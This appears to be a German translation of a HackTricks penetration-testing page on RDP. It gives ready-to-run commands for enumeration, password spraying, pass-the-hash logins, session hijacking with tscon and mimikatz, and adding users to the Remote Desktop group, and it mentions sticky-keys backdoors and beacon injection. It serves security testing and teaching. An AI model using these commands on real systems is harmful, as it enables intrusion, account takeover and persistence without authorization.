hacktricks/network-services-pentesting/pentesting-rdp.md

9.9 KiB

3389 - Pentesting RDP

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Sofort verfügbare Einrichtung für Schwachstellenbewertung & Penetrationstests. Führen Sie einen vollständigen Pentest von überall aus mit 20+ Tools & Funktionen durch, die von der Aufklärung bis zum Bericht reichen. Wir ersetzen keine Pentester - wir entwickeln benutzerdefinierte Tools, Erkennungs- & Exploit-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu öffnen und Spaß zu haben.

{% embed url="https://pentest-tools.com/" %}

Grundlegende Informationen

Entwickelt von Microsoft, ist das Remote Desktop Protocol (RDP) darauf ausgelegt, eine grafische Schnittstellenverbindung zwischen Computern über ein Netzwerk zu ermöglichen. Um eine solche Verbindung herzustellen, wird von dem Benutzer eine RDP-Clientsoftware verwendet, und gleichzeitig muss der entfernte Computer RDP-Serversoftware betreiben. Diese Einrichtung ermöglicht die nahtlose Steuerung und den Zugriff auf die Desktop-Umgebung eines entfernten Computers, wodurch im Wesentlichen dessen Oberfläche auf das lokale Gerät des Benutzers gebracht wird.

Standardport: 3389

PORT     STATE SERVICE
3389/tcp open  ms-wbt-server

Enumeration

Automatisch

{% code overflow="wrap" %}

nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>

{% endcode %}

Es überprüft die verfügbare Verschlüsselung und DoS-Schwachstelle (ohne einen DoS-Angriff auf den Dienst zu verursachen) und erhält NTLM-Windows-Informationen (Versionen).

Brute Force

Seien Sie vorsichtig, Sie könnten Konten sperren

Passwort-Spraying

Seien Sie vorsichtig, Sie könnten Konten sperren

# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp

Verbindung mit bekannten Anmeldeinformationen/Hash herstellen

rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash

Überprüfen von bekannten Anmeldedaten gegen RDP-Dienste

rdp_check.py von Impacket ermöglicht es Ihnen zu überprüfen, ob bestimmte Anmeldedaten für einen RDP-Dienst gültig sind:

rdp_check <domain>/<name>:<password>@<IP>

Sofort verfügbare Einrichtung für Schwachstellenbewertung & Penetrationstests. Führen Sie einen vollständigen Pentest von überall aus mit 20+ Tools & Funktionen durch, die von der Aufklärung bis zum Bericht reichen. Wir ersetzen keine Pentester - wir entwickeln benutzerdefinierte Tools, Erkennungs- & Exploit-Module, um ihnen etwas Zeit zu geben, tiefer zu graben, Shells zu öffnen und Spaß zu haben.

{% embed url="https://pentest-tools.com/" %}

Angriffe

Sitzungsraub

Mit SYSTEM-Berechtigungen können Sie auf jede geöffnete RDP-Sitzung eines beliebigen Benutzers zugreifen, ohne das Passwort des Besitzers zu kennen.

Geöffnete Sitzungen abrufen:

query user

Zugriff auf die ausgewählte Sitzung

tscon <ID> /dest:<SESSIONNAME>

Nun werden Sie innerhalb der ausgewählten RDP-Sitzung sein und einen Benutzer mithilfe von nur Windows-Tools und -Funktionen imitieren.

Wichtig: Wenn Sie auf aktive RDP-Sitzungen zugreifen, werden Sie den Benutzer, der sie verwendet hat, abmelden.

Sie könnten Passwörter aus dem Prozess auslesen, aber diese Methode ist viel schneller und ermöglicht es Ihnen, mit den virtuellen Desktops des Benutzers zu interagieren (Passwörter in Notepad ohne auf der Festplatte gespeichert zu werden, andere RDP-Sitzungen auf anderen Maschinen geöffnet...)

ts::sessions        #Get sessions
ts::remote /id:2    #Connect to the session

Sticky-keys & Utilman

Durch die Kombination dieser Technik mit Stickykeys oder Utilman können Sie jederzeit auf eine administrative CMD und jede RDP-Sitzung zugreifen

Sie können bereits mit einer dieser Techniken kompromittierte RDPs durchsuchen: https://github.com/linuz/Sticky-Keys-Slayer

RDP Prozessinjektion

Wenn sich jemand aus einer anderen Domäne oder mit höheren Berechtigungen über RDP auf dem PC anmeldet, auf dem Sie ein Administrator sind, können Sie Ihren Beacon in seinen RDP-Sitzungsprozess injizieren und als er handeln:

{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %} rdp-sessions-abuse.md {% endcontent-ref %}

Benutzer zur RDP-Gruppe hinzufügen

net localgroup "Remote Desktop Users" UserLoginName /add

Automatische Tools

AutoRDPwn ist ein Post-Exploitation-Framework, das in Powershell erstellt wurde und hauptsächlich darauf ausgelegt ist, den Shadow-Angriff auf Microsoft Windows-Computer zu automatisieren. Diese Schwachstelle (von Microsoft als Funktion aufgeführt) ermöglicht es einem entfernten Angreifer, den Desktop seines Opfers ohne dessen Zustimmung anzusehen und ihn sogar bei Bedarf mit den nativen Tools des Betriebssystems zu steuern.

  • EvilRDP
  • Steuern Sie Maus und Tastatur auf automatisierte Weise über die Befehlszeile
  • Steuern Sie die Zwischenablage auf automatisierte Weise über die Befehlszeile
  • Starten Sie einen SOCKS-Proxy vom Client aus, der die Netzwerkkommunikation zum Ziel über RDP leitet
  • Führen Sie beliebige SHELL- und PowerShell-Befehle auf dem Ziel aus, ohne Dateien hochzuladen
  • Laden Sie Dateien auf das Ziel hoch und herunter, auch wenn Dateiübertragungen auf dem Ziel deaktiviert sind
Protocol_Name: RDP    #Protocol Abbreviation if there is one.
Port_Number:  3389     #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.

https://book.hacktricks.xyz/pentesting/pentesting-rdp

Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}

Sofort verfügbare Einrichtung für Schwachstellenanalyse & Penetrationstests. Führen Sie einen vollständigen Pentest von überall aus mit mehr als 20 Tools & Funktionen durch, die von der Aufklärung bis zum Bericht reichen. Wir ersetzen keine Pentester - wir entwickeln benutzerdefinierte Tools, Erkennungs- & Exploit-Module, um ihnen etwas Zeit zu geben, tiefer zu graben, Shells zu öffnen und Spaß zu haben.

{% embed url="https://pentest-tools.com/" %}

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen: